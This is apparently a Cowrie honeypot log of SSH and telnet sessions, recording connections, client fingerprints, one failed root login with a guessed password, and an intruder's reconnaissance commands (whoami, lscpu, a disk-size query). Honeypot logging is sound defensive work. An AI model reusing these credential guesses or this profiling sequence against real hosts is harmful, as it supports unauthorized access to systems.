{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.646174Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.990121364593506,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.657729Z","src_ip":"188.208.141.113","session":"fcc377048289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955643892288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:15.733399Z","src_ip":"162.55.233.176","session":"8480644df442","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.273509Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.277420Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35504,"dst_ip":"159.203.135.109","dst_port":23,"session":"6323d066131d","protocol":"telnet","message":"New connection: 162.55.233.176:35504 (159.203.135.109:23) [session: 6323d066131d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.286507Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35514,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77cb6567c9d","protocol":"telnet","message":"New connection: 162.55.233.176:35514 (159.203.135.109:23) [session: e77cb6567c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.551568Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.558600Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35530,"dst_ip":"159.203.135.109","dst_port":23,"session":"7652cd4b2dec","protocol":"telnet","message":"New connection: 162.55.233.176:35530 (159.203.135.109:23) [session: 7652cd4b2dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.563183Z"}
{"eventid":"cowrie.session.closed","duration":31.369383096694946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:16.748938Z","src_ip":"162.55.233.176","session":"b2e5cbf2c144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35540,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f22063004ff","protocol":"telnet","message":"New connection: 162.55.233.176:35540 (159.203.135.109:23) [session: 9f22063004ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.025287Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.151880Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.154640Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35544,"dst_ip":"159.203.135.109","dst_port":23,"session":"630882c0c796","protocol":"telnet","message":"New connection: 162.55.233.176:35544 (159.203.135.109:23) [session: 630882c0c796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.256814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.411200Z","src_ip":"213.209.159.158","session":"fdb3f538dbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.414634Z","src_ip":"213.209.159.158","session":"fdb3f538dbe0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.434128Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35558,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c50046899d","protocol":"telnet","message":"New connection: 162.55.233.176:35558 (159.203.135.109:23) [session: 72c50046899d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:17.626546Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:18.028719Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:18.032579Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:18.314601Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.8","message":"Connection lost after 22.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:18.320277Z","src_ip":"103.170.173.26","session":"f8b6b688d422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60100,"dst_ip":"10.17.0.5","dst_port":23,"session":"e660199e113b","protocol":"telnet","message":"New connection: 188.208.141.113:60100 (10.17.0.5:23) [session: e660199e113b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:19.762746Z"}
{"eventid":"cowrie.session.closed","duration":30.922340393066406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:20.511539Z","src_ip":"162.55.233.176","session":"1b88fb756cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35574,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3aa9bb4592","protocol":"telnet","message":"New connection: 162.55.233.176:35574 (159.203.135.109:23) [session: db3aa9bb4592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:20.758461Z"}
{"eventid":"cowrie.session.closed","duration":31.49113178253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:20.826559Z","src_ip":"162.55.233.176","session":"7b064f9e6e5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35590,"dst_ip":"159.203.135.109","dst_port":23,"session":"962764c68ef2","protocol":"telnet","message":"New connection: 162.55.233.176:35590 (159.203.135.109:23) [session: 962764c68ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:21.297365Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35596,"dst_ip":"159.203.135.109","dst_port":23,"session":"261baa1b7429","protocol":"telnet","message":"New connection: 162.55.233.176:35596 (159.203.135.109:23) [session: 261baa1b7429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:21.434996Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35602,"dst_ip":"159.203.135.109","dst_port":23,"session":"b75076219f28","protocol":"telnet","message":"New connection: 162.55.233.176:35602 (159.203.135.109:23) [session: b75076219f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:22.881162Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35822,"dst_ip":"10.17.0.5","dst_port":23,"session":"01ab04d6a1dc","protocol":"telnet","message":"New connection: 188.208.141.113:35822 (10.17.0.5:23) [session: 01ab04d6a1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:23.010562Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39072,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08b4e597fa6","protocol":"telnet","message":"New connection: 162.55.233.176:39072 (159.203.135.109:23) [session: a08b4e597fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:23.971384Z"}
{"eventid":"cowrie.session.closed","duration":35.48857045173645,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:24.335945Z","src_ip":"162.55.233.176","session":"7079778a89e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.52818036079407,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:26.292976Z","src_ip":"162.55.233.176","session":"f6dbd1bd4f1c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VNcdn123","message":"login attempt [root/VNcdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:26.819428Z","src_ip":"213.209.159.158","session":"fdb3f538dbe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79538917541504,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:26.832455Z","src_ip":"162.55.233.176","session":"06e5d1539a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39076,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8931e7a3c6","protocol":"telnet","message":"New connection: 162.55.233.176:39076 (159.203.135.109:23) [session: 9d8931e7a3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:27.003137Z"}
{"eventid":"cowrie.session.closed","duration":42.91489028930664,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:27.010022Z","src_ip":"188.208.141.113","session":"19c83eb63a6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91939043998718,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:27.566373Z","src_ip":"162.55.233.176","session":"deba8f51e713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.626224517822266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:28.659673Z","src_ip":"162.55.233.176","session":"08ca37883514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39088,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d964bd4cbc","protocol":"telnet","message":"New connection: 162.55.233.176:39088 (159.203.135.109:23) [session: 52d964bd4cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:29.671627Z"}
{"eventid":"cowrie.session.closed","duration":34.97093367576599,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:29.777946Z","src_ip":"162.55.233.176","session":"141c6d8255ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39080,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1dac72eb3ff","protocol":"telnet","message":"New connection: 162.55.233.176:39080 (159.203.135.109:23) [session: b1dac72eb3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:29.815467Z"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:29.916082Z","src_ip":"213.209.159.158","session":"fdb3f538dbe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.085912942886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:29.956329Z","src_ip":"162.55.233.176","session":"205e417ac3f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56112,"dst_ip":"10.17.0.5","dst_port":22,"session":"d19fcc1d10b0","protocol":"ssh","message":"New connection: 213.209.159.158:56112 (10.17.0.5:22) [session: d19fcc1d10b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:29.999667Z"}
{"eventid":"cowrie.session.closed","duration":33.65006995201111,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:30.916695Z","src_ip":"162.55.233.176","session":"26f668ce6745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34167265892029,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:31.429899Z","src_ip":"162.55.233.176","session":"0733b7df88b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95748686790466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:31.434413Z","src_ip":"162.55.233.176","session":"7496c0b8b749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39094,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e593ec8048e","protocol":"telnet","message":"New connection: 162.55.233.176:39094 (159.203.135.109:23) [session: 1e593ec8048e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:31.483853Z"}
{"eventid":"cowrie.session.closed","duration":46.41046333312988,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:31.954385Z","src_ip":"188.208.141.113","session":"57720428cfa3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:31.984587Z","src_ip":"213.209.159.158","session":"d19fcc1d10b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:31.987449Z","src_ip":"213.209.159.158","session":"d19fcc1d10b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39096,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f8f14e5f7d","protocol":"telnet","message":"New connection: 162.55.233.176:39096 (159.203.135.109:23) [session: f1f8f14e5f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:32.306864Z"}
{"eventid":"cowrie.session.closed","duration":33.31339502334595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:32.353377Z","src_ip":"162.55.233.176","session":"97056c952321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.98640537261963,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:32.655306Z","src_ip":"188.208.141.113","session":"5834acf8bca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59932,"dst_ip":"159.203.135.109","dst_port":23,"session":"60582b69d8a5","protocol":"telnet","message":"New connection: 162.55.233.176:59932 (159.203.135.109:23) [session: 60582b69d8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:33.550992Z"}
{"eventid":"cowrie.session.closed","duration":32.026891231536865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:33.647317Z","src_ip":"162.55.233.176","session":"ad20e6891392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57411980628967,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:33.936731Z","src_ip":"162.55.233.176","session":"c5307fcef491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59946,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ea24990ea44","protocol":"telnet","message":"New connection: 162.55.233.176:59946 (159.203.135.109:23) [session: 9ea24990ea44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:34.348750Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59948,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c35e45a03d","protocol":"telnet","message":"New connection: 162.55.233.176:59948 (159.203.135.109:23) [session: 03c35e45a03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:34.963290Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59954,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9ae2ab3e80","protocol":"telnet","message":"New connection: 162.55.233.176:59954 (159.203.135.109:23) [session: 6d9ae2ab3e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:35.103740Z"}
{"eventid":"cowrie.session.closed","duration":31.368910551071167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:35.440092Z","src_ip":"162.55.233.176","session":"66f19c45cfb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.44201898574829,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:35.462111Z","src_ip":"162.55.233.176","session":"499668454405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59968,"dst_ip":"159.203.135.109","dst_port":23,"session":"930c0670109f","protocol":"telnet","message":"New connection: 162.55.233.176:59968 (159.203.135.109:23) [session: 930c0670109f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:35.688543Z"}
{"eventid":"cowrie.session.closed","duration":31.19696307182312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:35.758488Z","src_ip":"162.55.233.176","session":"c6fcb51d37dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.29727125167847,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:36.431727Z","src_ip":"188.208.141.113","session":"39683a08eb24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59974,"dst_ip":"159.203.135.109","dst_port":23,"session":"f69d68349b54","protocol":"telnet","message":"New connection: 162.55.233.176:59974 (159.203.135.109:23) [session: f69d68349b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:36.690217Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"7598dfa5f580","protocol":"telnet","message":"New connection: 188.208.141.113:60262 (10.17.0.5:23) [session: 7598dfa5f580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:36.775844Z"}
{"eventid":"cowrie.session.closed","duration":32.47343873977661,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:37.500755Z","src_ip":"162.55.233.176","session":"72b1349123eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64606547355652,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:39.058507Z","src_ip":"188.208.141.113","session":"1aade38266d7","protocol":"telnet"}
